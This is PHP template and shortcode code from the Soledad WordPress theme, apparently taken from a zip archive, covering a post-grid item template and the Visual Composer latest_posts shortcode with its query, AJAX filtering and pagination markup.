			<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php do_action( 'penci_grid_meta' ); ?>
					<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                        <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                        <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ) : ?>
                        <span class="otherl-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( get_theme_mod( 'penci_grid_countviews' ) ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ): ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php
				do_action( 'penci_before_post_excerpt' );
				if ( get_theme_mod( 'penci_excerptcharac' ) ) {
					the_excerpt();
				} else {
					$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
					penci_the_excerpt( $excerpt_length, $post_id );
				}
				?>
            </div>
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_grid_add_readmore' ) ):
			$class_button = '';
			if ( get_theme_mod( 'penci_grid_remove_arrow' ) ): $class_button .= ' penci-btn-remove-arrow'; endif;
			if ( get_theme_mod( 'penci_grid_readmore_button' ) ): $class_button .= ' penci-btn-make-button'; endif;
			if ( get_theme_mod( 'penci_grid_readmore_align' ) ): $class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' ); endif;
			?>
            <div class="penci-readmore-btn<?php echo $class_button; ?>">
                <a class="penci-btn-readmore"
                   href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
            </div>
		<?php endif; ?>

		<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ) : ?>
            <div class="penci-post-box-meta penci-post-box-grid">
                <div class="penci-post-share-box">
					<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
					<?php penci_soledad_social_share(); ?>
                </div>
            </div>
		<?php endif; ?>
    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style grid-2-style penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $j ++; ?>
PK     N\ \ \   soledad_vc.phpnu [        <?php
/**
 * Add on for Visual Composer
 * If VC installed, this file will load
 * This add-on only use for Soledad theme
 *
 * @since 2.6
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Soledad_VC_Shortcodes' ) ) {
	class Soledad_VC_Shortcodes {
		/**
		 * Add shortcodes
		 */
		public static function init() {
			$shortcodes = array(
				'latest_posts',
				'featured_cat',
				'popular_posts',
				'soledad_sidebar',
				'soledad_featured_boxes',
				'inline_related_posts'
			);

			foreach ( $shortcodes as $shortcode ) {
				add_shortcode( $shortcode, array( __CLASS__, $shortcode ) );
			}
		}

		/**
		 * Retrieve HTML markup of latest_posts shortcode
		 *
		 * @param array $atts
		 * @param string $content
		 *
		 * @return string
		 */
		public static function latest_posts( $atts, $content = null ) {
			$default_args = array(
				'style'               => 'standard',
				'heading'             => '',
				'heading_title_style' => '',
				'heading_title_html_tag' => 'h3',
				'heading_title_link'  => '',
				'heading_title_align' => '',
				'hide_block_heading'  => '',
				'heading_icon_pos'    => '',
				'heading_icon'        => '',
				'number'              => '10',
				'paging'              => 'numbers',
				'morenum'             => '6',
				'exclude'             => '',
				'build_query'         => '',
				'elementor_query'     => '',
				'wpblock'             => '',
				'penci_mixed_style'   => 's1',
				'post_alignment'      => '',
				'share_alignment'     => '',
				'penci_items_martop'  => '',
				'penci_bitems_martop' => '',
				'penci_sitems_martop' => '',
				'list_imgwidth'       => '',
				'penci_boxed_dcol'    => '',
				'penci_boxed_mcol'    => '',
				'penci_boxed_tcol'    => '',

				'block_title_color'     => '',
				'block_title_hcolor'    => '',
				'btitle_bcolor'         => '',
				'btitle_outer_bcolor'   => '',
				'btitle_style5_bcolor'  => '',
				'btitle_style78_bcolor' => '',
				'btitle_bgcolor'        => '',
				'btitle_outer_bgcolor'  => '',
				'btitle_style9_bgimg'   => '',
				'use_btitle_typo'       => '',
				'btitle_typo'           => '',
				'btitle_fsize'          => '',
				'block_title_offupper'  => '',
				'block_title_marginbt'  => '',
				'btitle_shapes_color'   => '',
				'bgstyle15_color'       => '',
				'iconstyle15_color'     => '',
				'cl_lines'              => '',

				'pborder_color'   => '',
				'ptitle_color'    => '',
				'ptitle_hcolor'   => '',
				'use_ptitle_typo' => '',
				'ptitle_typo'     => '',
				'ptitle_fsize'    => '',

				'pmeta_color'        => '',
				'pmeta_hcolor'       => '',
				'pauthor_color'      => '',
				'pmeta_border_color' => '',
				'use_pmeta_typo'     => '',
				'pmeta_fsize'        => '',
				'pmeta_typo'         => '',

				'pexcrept_color'    => '',
				'use_pexcrept_typo' => '',
				'pexcrept_fsize'    => '',
				'pexcrept_typo'     => '',

				'pcat_color'    => '',
				'pcat_hcolor'   => '',
				'use_pcat_typo' => '',
				'pcat_fsize'    => '',
				'pcat_typo'     => '',

				'prmore_color'    => '',
				'prmore_hcolor'   => '',
				'use_prmore_typo' => '',
				'prmore_fsize'    => '',
				'prmore_typo'     => '',
				'pag_icon_fsize'  => '',

				'pshare_color'        => '',
				'pshare_hcolor'       => '',
				'pshare_border_color' => '',
				'pshare_fsize'        => '',

				'pagination_icon'         => '',
				'pagination_size'         => '',
				'pagination_color'        => '',
				'pagination_bordercolor'  => '',
				'pagination_bgcolor'      => '',
				'pagination_hcolor'       => '',
				'pagination_hbordercolor' => '',
				'pagination_hbgcolor'     => '',

				'standard_meta_overlay'   => '',
				'standard_thumbnail'      => '',
				'std_dis_at_gallery'      => '',
				'standard_thumb_crop'     => '',
				'standard_share_box'      => '',
				'standard_cat'            => '',
				'standard_cat_move'       => '',
				'standard_author'         => '',
				'standard_date'           => '',
				'standard_comment'        => '',
				'standard_viewscount'     => '',
				'standard_readtime'       => '',
				'standard_remove_line'    => '',
				'standard_auto_excerpt'   => '',
				'standard_remove_excerpt' => '',
				'standard_effect_button'  => '',
				'std_continue_btn'        => '',
				'grid_icon_format'        => '',
				'grid_meta_overlay'       => '',
				'grid_uppercase_cat'      => '',
				'grid_lightbox_video'     => '',
				'grid_nocrop_list'        => '',
				'grid_share_box'          => '',
				'grid_cat'                => '',
				'grid_cat_move'           => '',
				'grid_author'             => '',
				'grid_date'               => '',
				'grid_comment'            => '',
				'grid_comment_other'      => '',
				'grid_viewscount'         => '',
				'grid_readtime'           => '',
				'grid_remove_line'        => '',
				'grid_remove_excerpt'     => '',
				'grid_add_readmore'       => '',
				'grid_remove_arrow'       => '',
				'grid_readmore_button'    => '',
				'grid_readmore_align'     => '',
				'grid_excerpt_length'     => '',
				'standard_excerpt_length' => '',
				'std_continue_align'      => '',
				'std_excerpt_align'       => '',
				'grid_excerpt_align'      => '',

				'order_columns'              => 3,
				'order_columns_tablet'       => 2,
				'order_columns_mobile'       => 1,
				'order_column_gap'           => '',
				'order_row_gap'              => '',
				'infeed_num'                 => '',
				'infeed_code'                => '',
				'infeed_layout'              => '',
				
				
				'grid_title_tag'              => '',
				'standard_title_tag'          => '',

				// Big Post
				'bptitle_color'              => '',
				'bptitle_hcolor'             => '',
				'bptitle_fsize'              => '',
				'bpmeta_color'               => '',
				'bpmeta_hcolor'              => '',
				'bpauthor_color'             => '',
				'bpmeta_border_color'        => '',
				'bpmeta_fsize'               => '',
				'bpcat_color'                => '',
				'bpcat_hcolor'               => '',
				'bpcat_fsize'                => '',
				'bpexcerpt_size'             => '',
				'bsocialshare_size'          => '',
				'standard_title_length'      => '',
				'grid_title_length'          => '',
				'penci_featimg_size'         => '',
				'penci_featimg_ratio'        => '',
				'thumb_size'                 => '',
				'thumb_bigsize'              => '',
				'archive_buider_check'       => '',
				'biggrid_ajaxfilter_cat'     => '',
				'biggrid_ajaxfilter_tag'     => '',
				'biggrid_ajaxfilter_author'  => '',
				'group_more_link_text'       => '',
				'group_more_defaultab_text'  => '',
				'biggrid_ajax_loading_style' => '',
				'validator'                  => '',
				'keys'                       => '',
				'acf'                        => '',
				'label'                      => '',
				'divider'                    => '',

				'cspost_enable'             => '',
				'cspost_cpost_meta'         => '',
				'cspost_cpost_acf_meta'     => '',
				'cspost_cpost_meta_label'   => '',
				'cspost_cpost_meta_divider' => '',

				'wrapper_css' => '',
			);

			$atts = shortcode_atts( $default_args, $atts, 'latest_posts' );

			$custom_meta_key = [
				'validator' => $atts['validator'],
				'keys'      => $atts['keys'],
				'acf'       => $atts['acf'],
				'label'     => $atts['label'],
				'divider'   => $atts['divider'],
			];

			if ( $atts['cspost_enable'] ) {
				$custom_meta_key = [
					'validator' => $atts['cspost_enable'],
					'keys'      => $atts['cspost_cpost_meta'],
					'acf'       => $atts['cspost_cpost_acf_meta'],
					'label'     => $atts['cspost_cpost_meta_label'],
					'divider'   => $atts['cspost_cpost_meta_divider'],
				];
			}


			$penci_mixed_style = 's1';

			extract( $atts );

			$standard_title_length = $standard_title_length ? $standard_title_length : '';
			$grid_title_length     = $grid_title_length ? $grid_title_length : '';

			$return = '';

			$is_el_builder = false;

			if ( $atts['elementor_query'] ) {
				$args          = $atts['elementor_query'];
				$number        = isset( $args['posts_per_page'] ) ? $args['posts_per_page'] : 10;
				$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
				$is_el_builder = true;

			} elseif ( $atts['build_query'] ) {
				$args          = penci_build_args_query( $atts['build_query'] );
				$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
				$number        = isset( $args['posts_per_page'] ) ? $args['posts_per_page'] : 10;
			} else {
				if ( ! isset( $number ) || ! is_numeric( $number ) ): $number = '10'; endif;
				if ( ! isset( $morenum ) || ! is_numeric( $morenum ) ): $morenum = '6'; endif;
				$paged = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
				$args  = array( 'post_type' => 'post', 'paged' => $paged, 'posts_per_page' => $number );
				if ( ! empty( $exclude ) ) {
					$exclude_cats      = str_replace( ' ', '', $exclude );
					$exclude_array     = explode( ',', $exclude_cats );
					$args['tax_query'] = array(
						array(
							'taxonomy' => 'category',
							'field'    => 'slug',
							'terms'    => $exclude_array,
							'operator' => 'NOT IN'
						)
					);
				}
			}

			$block_id = '';
			if ( class_exists( 'Penci_Vc_Helper' ) ) {
				$block_id = Penci_Vc_Helper::get_unique_id_block( 'latest_posts' );
			}

			$data_pag_arg = htmlentities( json_encode( $args ), ENT_QUOTES, "UTF-8" );
			$query_custom = new WP_Query( $args );


			if ( ! $query_custom->have_posts() ) {
				return self::show_missing_settings( 'Latest Posts', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
			}

			if ( $query_custom->have_posts() ) :
				ob_start();

				$class_wrap = 'penci-latest-posts-sc';
				$class_wrap .= ' penci-latest-posts-' . $style;
				$class_wrap .= $is_el_builder ? ' penci-latest-posts-el' : '';

				if ( 'mixed-larger' == $style ) {
					$class_wrap        .= ' penci-latest-posts-mixed';
					$penci_mixed_style = 's1';
				}

				if ( $wrapper_css ) {
					$class_wrap .= $wrapper_css;
				}

				$class_wrap .= ' penci-el-mixed-' . $penci_mixed_style;

				if ( ! in_array( $style, array( 'overlay', 'boxed-2', 'photography' ) ) ) {
					if ( $atts['post_alignment'] ) {
						$class_wrap .= ' penci-latest-posts-' . esc_attr( $atts['post_alignment'] );
					}

					if ( $atts['std_continue_align'] ) {
						$class_wrap .= ' penci-std-continue-' . esc_attr( $atts['std_continue_align'] );
					}
					if ( $atts['std_excerpt_align'] ) {
						$class_wrap .= ' penci-std-excerpt-' . esc_attr( $atts['std_excerpt_align'] );
					}
					if ( $atts['grid_excerpt_align'] ) {
						$class_wrap .= ' penci-grid-excerpt-' . esc_attr( $atts['grid_excerpt_align'] );
					}
				}
				if ( in_array( $style, array( 'grid', 'masonry' ) ) ) {
					if ( $atts['order_columns'] ) {

						$class_wrap .= ' penci-lposts-ctcol';
						$class_wrap .= ' pencisc-grid-' . esc_attr( $atts['order_columns'] );

						if ( $atts['order_columns_tablet'] ) {
							$class_wrap .= ' pencisc-grid-tablet-' . esc_attr( $atts['order_columns_tablet'] );
						}
						if ( $atts['order_columns_mobile'] ) {
							$class_wrap .= ' pencisc-grid-mobile-' . esc_attr( $atts['order_columns_mobile'] );
						}
					}

				}

				$data_infeed_ads       = '';
				$data_infeed_ads_array = array();
				if ( isset( $infeed_code ) && $infeed_code ) {
					$data_infeed_ads_array['ads_code'] = $infeed_code;
					$infeed_num_data                   = ( isset( $infeed_num ) && $infeed_num ) ? $infeed_num : 3;
					$infeed_full_data                  = ( isset( $infeed_layout ) && $infeed_layout ) ? $infeed_layout : '';
					$data_infeed_ads_array['ads_num']  = $infeed_num_data;
					$data_infeed_ads_array['ads_full'] = $infeed_full_data;
				}
				/* Get data template */
				$data_layout   = $style;
				$data_template = 'sidebar';
				if ( in_array( $style, array( 'standard-grid', 'classic-grid', 'overlay-grid' ) ) ) {
					$data_layout = 'grid';
				} elseif ( in_array( $style, array(
					'standard-grid-2',
					'classic-grid-2',
					'overlay-grid-2',
				) ) ) {
					$data_layout = 'grid-2';
				} elseif ( in_array( $style, array( 'standard-list', 'classic-list', 'overlay-list' ) ) ) {
					$data_layout = 'list';
				} elseif ( in_array( $style, array(
					'standard-boxed-1',
					'classic-boxed-1',
					'overlay-boxed-1'
				) ) ) {
					$data_layout = 'boxed-1';
				} elseif ( in_array( $style, array( 'mixed-3', 'mixed-4' ) ) ) {
					$data_layout = 'small-list';
				}

				if ( is_page_template( 'page-vc.php' ) ) {
					$data_template = 'no-sidebar';
				}
				if ( ! empty( $data_infeed_ads_array ) ) {
					$data_infeed_array = htmlentities( json_encode( $data_infeed_ads_array ), ENT_QUOTES, "UTF-8" );
					$data_infeed_ads   = ' data-infeedads="' . $data_infeed_array . '"';
				}
				$data_archive_type  = '';
				$data_archive_value = '';
				if ( is_category() ) :
					$category           = get_category( get_query_var( 'cat' ) );
					$cat_id             = isset( $category->cat_ID ) ? $category->cat_ID : '';
					$data_archive_type  = 'cat';
					$data_archive_value = $cat_id;
					$opt_cat            = 'category_' . $cat_id;
					$cat_meta           = get_option( $opt_cat );
					$sidebar_opts       = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
					if ( $sidebar_opts == 'no' ):
						$data_template = 'no-sidebar';
                    elseif ( $sidebar_opts == 'left' || $sidebar_opts == 'right' ):
						$data_template = 'sidebar';
					endif;

                elseif ( is_tag() ) :
					$tag                = get_queried_object();
					$tag_id             = isset( $tag->term_id ) ? $tag->term_id : '';
					$data_archive_type  = 'tag';
					$data_archive_value = $tag_id;
                elseif ( is_day() ) :
					$data_archive_type  = 'day';
					$data_archive_value = get_the_date( 'm|d|Y' );
                elseif ( is_month() ) :
					$data_archive_type  = 'month';
					$data_archive_value = get_the_date( 'm|d|Y' );
                elseif ( is_year() ) :
					$data_archive_type  = 'year';
					$data_archive_value = get_the_date( 'm|d|Y' );
                elseif ( is_search() ) :
					$data_archive_type  = 'search';
					$data_archive_value = get_search_query();
                elseif ( is_author() ) :

					global $authordata;
					$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;

					$data_archive_type  = 'author';
					$data_archive_value = $user_id;
                elseif ( is_archive() ) :
					$queried_object = get_queried_object();
					$term_id        = isset( $queried_object->term_id ) ? $queried_object->term_id : '';
					$tax            = get_taxonomy( get_queried_object()->taxonomy );
					$tax_name       = isset( $tax->name ) ? $tax->name : '';

					if ( $term_id && $tax_name ) {
						$data_archive_type  = $tax_name;
						$data_archive_value = $term_id;
					}
				endif;


				$link_group_cats   = isset( $atts['biggrid_ajaxfilter_cat'] ) ? $atts['biggrid_ajaxfilter_cat'] : '';
				$link_group_tags   = isset( $atts['biggrid_ajaxfilter_tag'] ) ? $atts['biggrid_ajaxfilter_tag'] : '';
				$link_group_author = isset( $atts['biggrid_ajaxfilter_author'] ) ? $atts['biggrid_ajaxfilter_author'] : '';
				$more_link_text    = isset( $atts['group_more_link_text'] ) ? $atts['group_more_link_text'] : 'More';
				$link_group_out    = $link_group_out_before = $link_group_out_after = '';

				$morenum = 'nextprev' == $atts['paging'] ? $number : $morenum;

				$link_group_out_before .= '<nav data-query="' . $data_pag_arg . '"
				               data-blockid="' . $block_id . '"
                               data-layout="' . $data_layout . '"
                               data-number="' . absint( $number ) . '"
                               data-numbermore="' . absint( $morenum ) . '"
                               data-offset="0" data-exclude="' . $exclude . '" data-from="vc" data-come_from="vc-elementor"
                               data-template="' . $data_template . '"
							   data-archivetype="' . $data_archive_type . '"
                                data-archivevalue="' . $data_archive_value . '"
                               data-mixed="' . esc_attr( $penci_mixed_style ) . '" ' . $data_infeed_ads . ' data-query_type="ajaxtab" data-more="' . esc_attr( $more_link_text ) . '" class="pcnav-lgroup"><ul class="pcflx">';
				$link_group_out_after  = '</ul></nav>';
				$has_link              = false;
				if ( ! empty( $link_group_cats ) ) {
					$has_link        = true;
					$link_group_cats = is_array( $link_group_cats ) ? $link_group_cats : explode( ',', $link_group_cats );
					foreach ( $link_group_cats as $link_cat ) {
						$link_group_out .= '<li><a aria-label="Category" href="#" data-id="' . md5( 'cat-link-' . $link_cat ) . '" class="pc-ajaxfil-link" data-paged="1" data-cat="' . esc_attr( $link_cat ) . '">' . get_term_field( 'name', $link_cat ) . '</a></li>';
					}
				}

				if ( ! empty( $link_group_tags ) ) {
					$has_link        = true;
					$link_group_tags = is_array( $link_group_tags ) ? $link_group_tags : explode( ',', $link_group_tags );
					foreach ( $link_group_tags as $link_tag ) {
						$link_group_out .= '<li><a aria-label="Tag" href="#" data-id="' . md5( 'tag-link-' . $link_tag ) . '" class="pc-ajaxfil-link" data-paged="1" data-tag="' . esc_attr( $link_tag ) . '">' . get_term_field( 'name', $link_tag ) . '</a></li>';
					}
				}

				if ( ! empty( $link_group_author ) ) {
					$has_link          = true;
					$link_group_author = is_array( $link_group_author ) ? $link_group_author : explode( ',', $link_group_author );
					foreach ( $link_group_author as $author ) {
						$link_group_out .= '<li><a aria-label="Author" data-id="' . md5( 'author-link-' . $author ) . '" href="#" class="pc-ajaxfil-link" data-paged="1" data-author="' . esc_attr( $author ) . '">' . get_the_author_meta( 'nicename', $author ) . '</a></li>';
					}
				}

				if ( 'nextprev' == $atts['paging'] ) {
					$link_group_out .= '</ul><ul class="pcflx-nav">';
					$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#" aria-label="Previous"><i class="penciicon-left-chevron"></i></a></li>';
					$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#" aria-label="Next"><i class="penciicon-right-chevron"></i></a></li>';
				}

				if ( 'nextprev' == $atts['paging'] || 'numbers' == $atts['paging'] || $has_link ) {
					$link_group_out_after .= self::get_block_script( $block_id, $atts, false );
				}

				?>
                <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $class_wrap ); ?>">
					<?php if ( $heading && ! $atts['hide_block_heading'] ) : ?>
						<?php
						$sb_heading_title    = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
						$sb_heading_align    = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
						$heading_title_style = get_theme_mod( 'penci_featured_cat_style' ) ? get_theme_mod( 'penci_featured_cat_style' ) : $sb_heading_title;
						$heading_align       = get_theme_mod( 'penci_heading_latest_align' ) ? get_theme_mod( 'penci_heading_latest_align' ) : $sb_heading_align;

						if ( $atts['heading_title_style'] ) {
							$heading_title_style = $atts['heading_title_style'];
						}

						if ( $atts['heading_title_align'] ) {
							$heading_align = $atts['heading_title_align'];
						}

						$sb_icon_pos         = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
						$heading_icon_pos    = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
						$sb_icon_design      = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
						$heading_icon_design = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;

						if ( $atts['heading_icon_pos'] ) {
							$heading_icon_pos = $atts['heading_icon_pos'];
						}

						if ( $atts['heading_icon'] ) {
							$heading_icon_design = $atts['heading_icon'];
						}
						$htag = $atts['heading_title_html_tag'] ? $atts['heading_title_html_tag'] : 'h3';
						?>
                        <div class="penci-border-arrow penci-homepage-title penci-home-latest-posts <?php echo esc_attr( $heading_title_style . ' ' . $heading_align . ' ' . $heading_icon_pos . ' ' . $heading_icon_design ); ?>">
                            <<?php echo $htag;?> class="inner-arrow">
                                <span>
								<?php
								if ( $atts['heading_title_link'] ) {
									echo '<a href="' . esc_url( $atts['heading_title_link'] ) . '" title="' . esc_attr( $heading ) . '">';
								} else {
									echo '<span>';
								}
								echo do_shortcode( $heading );
								if ( $atts['heading_title_link'] ) {
									echo '</a>';
								} else {
									echo '</span>';
								}
								?>
                                </span>
                            </<?php echo $htag;?>>
							<?php
							if ( $link_group_out ) {
								$first_class = $has_link ? 'visible' : 'hidden-item';
								$maxp_out    = '';
								if ( 'nextprev' == $atts['paging'] ) {
									$maxp_out = 'data-maxp="' . $query_custom->max_num_pages . '" ';
								}
								$link_group_out_before .= '<li class="all ' . $first_class . '"><a data-paged="1" ' . $maxp_out . 'class="pc-ajaxfil-link current-item" data-id="default" href="#" aria-label="Paged">' . $atts['group_more_defaultab_text'] . '</a></li>';
								wp_enqueue_script( 'penci_ajax_filter_latest' );
								echo $link_group_out_before . $link_group_out . $link_group_out_after;
							}
							?>
                        </div>
					<?php endif; ?>
                    <div class="penci-wrapper-posts-ajax">

                        <div class="penci-wrapper-posts-content pwid-default">

							<?php if ( in_array( $style, array( 'standard', 'classic', 'overlay', 'featured' ) ) ): ?>
                            <div class="penci-wrapper-data"><?php endif; ?>
								<?php
								$cols_attrs = '';
								$extra_class = '';
								if ( in_array($style,['grid-boxed', 'grid-boxed-2', 'grid-boxed-3', 'grid-boxed-4', 'grid','masonry'])){
									if ( $penci_boxed_dcol ) {
										$cols_attrs .= ' data-cols="'.$penci_boxed_dcol.'"';
										$extra_class .= 'has-d-cols ';
									}
									if ( $penci_boxed_tcol ) {
										$cols_attrs .= ' data-tcols="'.$penci_boxed_tcol.'"';
										$extra_class .= 'has-t-cols ';
									}
									if ( $penci_boxed_dcol ) {
										$cols_attrs .= ' data-mcols="'.$penci_boxed_mcol.'"';
										$extra_class .= 'has-m-cols ';
									}
								}
								if ( in_array( $style, array(
									'mixed',
									'mixed-3',
									'mixed-4',
									'small-list',
									'mixed-larger',
									'mixed-2',
									'overlay-grid',
									'overlay-grid-2',
									'overlay-boxed-1',
									'overlay-list',
									'photography',
									'grid',
									'grid-2',
									'list',
									'boxed-1',
									'boxed-2',
									'boxed-3',
									'standard-grid',
									'standard-grid-2',
									'standard-list',
									'standard-boxed-1',
									'classic-grid',
									'classic-grid-2',
									'classic-list',
									'classic-boxed-1',
									'magazine-1',
									'magazine-2',
									'grid-boxed',
									'grid-boxed-2',
									'grid-boxed-3',
									'grid-boxed-4',
									'list-boxed',
									'list-boxed-2',
									'list-boxed-3',
								) ) ) : 
								?>
                                <ul<?php echo $cols_attrs;?> data-layout="<?php echo esc_attr( $style ); ?>"
                                    class="<?php echo $extra_class;?>penci-wrapper-data penci-grid penci-shortcode-render"><?php endif; ?>
									<?php if ( in_array( $style, array( 'masonry', 'masonry-2' ) ) ) : ?>
                                    <div class="penci-wrap-masonry">
                                        <div<?php echo $cols_attrs;?> class="penci-wrapper-data masonry penci-masonry"><?php endif; ?>
									<?php if ( 'timeline' == $style ) {
										wp_enqueue_style( 'penci-timeline' );
										echo '<div class="penci-tiline penci-tiline-posts penci-tiline-archive penci-tiline-center"><div class="penci-wrapper-data penci-tiline-grid penci-tiline-align-center">';
									} ?>
											<?php /* The loop */
											$infeed_ads  = ( isset( $infeed_code ) && $infeed_code ) ? rawurldecode( base64_decode( $infeed_code ) ) : '';
											$infeed_num  = ( isset( $infeed_num ) && $infeed_num ) ? $infeed_num : 3;
											$infeed_full = ( isset( $infeed_layout ) && $infeed_layout ) ? $infeed_layout : '';
											if ( in_array( $style, [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3' ] ) ) {
												$style = 'grid';
											} elseif ( in_array( $style, [ 'list-boxed', 'list-boxed-2' ] ) ) {
												$style = 'list';
											}
											while ( $query_custom->have_posts() ) : $query_custom->the_post();
												include( locate_template( 'template-parts/latest-posts-sc/content-' . $style . '.php' ) );
											endwhile;
											?>

											<?php if ( in_array( $style, array(
												'standard',
												'classic',
												'overlay',
												'featured'
											) ) ): ?></div><?php endif; ?>
										<?php if ( in_array( $style, array( 'masonry', 'masonry-2', 'timeline' ) ) ) : ?></div>
                            </div><?php endif; ?>
							<?php if ( in_array( $style, array(
								'mixed',
								'mixed-3',
								'mixed-4',
								'small-list',
								'mixed-larger',
								'mixed-2',
								'overlay-grid',
								'overlay-grid-2',
								'overlay-boxed-1',
								'overlay-list',
								'photography',
								'grid',
								'grid-2',
								'list',
								'boxed-1',
								'boxed-2',
								'boxed-3',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'magazine-1',
								'magazine-2',
								'grid-boxed',
								'grid-boxed-2',
								'grid-boxed-3',
								'grid-boxed-4',
								'list-boxed',
								'list-boxed-2',
								'list-boxed-3',
							) ) ) : ?></ul><?php endif; ?>

							<?php

							if ( $paging == 'loadmore' || $paging == 'scroll'  ) {
							$button_class = 'penci-ajax-more penci-ajax-home penci-ajax-more-click';
							if ( $paging == 'loadmore' ):
								wp_enqueue_script( 'penci_ajax_more_posts' );
							endif;
							if ( $paging == 'scroll' ):
								$button_class = 'penci-ajax-more penci-ajax-home penci-ajax-more-scroll';
								wp_enqueue_script( 'penci_ajax_more_scroll' );
							endif;
							?>
                            <div class="penci-pagination <?php echo $button_class; ?>">
                                <a class="penci-ajax-more-button" aria-label="More Posts" href="#"
                                   data-blockuid="<?php echo $block_id; ?>"
									<?php if ( $data_archive_type && $data_archive_value ): ?>
                                        data-archivetype="<?php echo $data_archive_type; ?>"
                                        data-archivevalue="<?php echo $data_archive_value; ?>"
									<?php endif; ?>
                                   data-query="<?php echo $data_pag_arg; ?>"
                                   data-query_type="<?php echo $archive_buider_check; ?>"
                                   data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                                   data-layout="<?php echo esc_attr( $data_layout ); ?>"
                                   data-number="<?php echo absint( $morenum ); ?>"
                                   data-offset="<?php echo absint( $number ); ?>" data-exclude="<?php
								echo $exclude; ?>" data-from="vc" data-come_from="vc-elementor"
                                   data-template="<?php echo $data_template; ?>"
                                   data-mixed="<?php echo esc_attr( $penci_mixed_style ); ?>"<?php echo $data_infeed_ads; ?>>
                                    <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                            class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                                </a>
                            </div>
							<?php echo self::get_block_script( $block_id, $atts ); ?>
							<?php } elseif ( 'numbers' == $paging) { ?>
							<?php echo penci_pagination_numbers( $query_custom ); ?>
							<?php }?>
                        </div>

						<?php
						if ( $link_group_out ) {
							echo penci_get_html_animation_loading( $atts['biggrid_ajax_loading_style'] );
						} ?>
                    </div>
                </div>
			<?php
			endif;
			wp_reset_postdata();

			$block_id_css = '#' . $block_id;
			?>
            <style>
                <?php if( $share_alignment ): ?>
                <?php echo $block_id_css; ?>
                .penci-post-box-meta.penci-post-box-grid {
                    text-align: <?php echo $share_alignment; ?>;
                }
                <?php if( 'left' == $share_alignment ) { ?>
                <?php echo $block_id_css; ?>
                .penci-post-box-meta.penci-post-box-grid .penci-post-share-box {
                    padding-left: 0;
                    padding-right: 10px;
                }
                <?php } else if( 'right' == $share_alignment ) { ?>
